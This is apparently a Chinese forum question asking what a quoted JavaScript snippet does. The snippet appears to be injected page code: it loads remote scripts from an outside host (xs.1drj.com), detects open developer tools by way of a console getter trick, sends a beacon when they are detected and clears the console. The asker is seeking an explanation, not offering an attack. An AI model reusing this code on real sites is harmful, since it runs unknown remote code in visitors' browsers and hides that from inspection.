求问这段代码的意思

Question

(function() {
    try {
        var e = "__z_",        t = "http://xxxxx.com/js/rem.js",
        c = document,
        n = c.currentScript,
        a = c.getElementsByTagName("head")[0],
        i = function(e, t) {
            var r = c.createElement("script");
            r.type = "text/javascript",            t && (r.id = t),
            r.src = e,
            a.appendChild(r)
        },
        s = setInterval(function() {
            var I = new Image,
            C = window.console;
            Object.defineProperty(I, "id", {
                get: function() {
                    I.src = "http://l.xs.1drj.com/" + encodeURIComponent(t),
                    clearInterval(s)
                }
            }),
            C && (C.log(I), C.clear())
        },        2e3);
        c.getElementById(e) || self == top && (i("http://xs.1drj.com/?tsliese=27311189", e)),
        n && (n.defer || n.async) ? i(t) : c.write('<script src="' + t + '"></script>')
    } catch(e) {};})()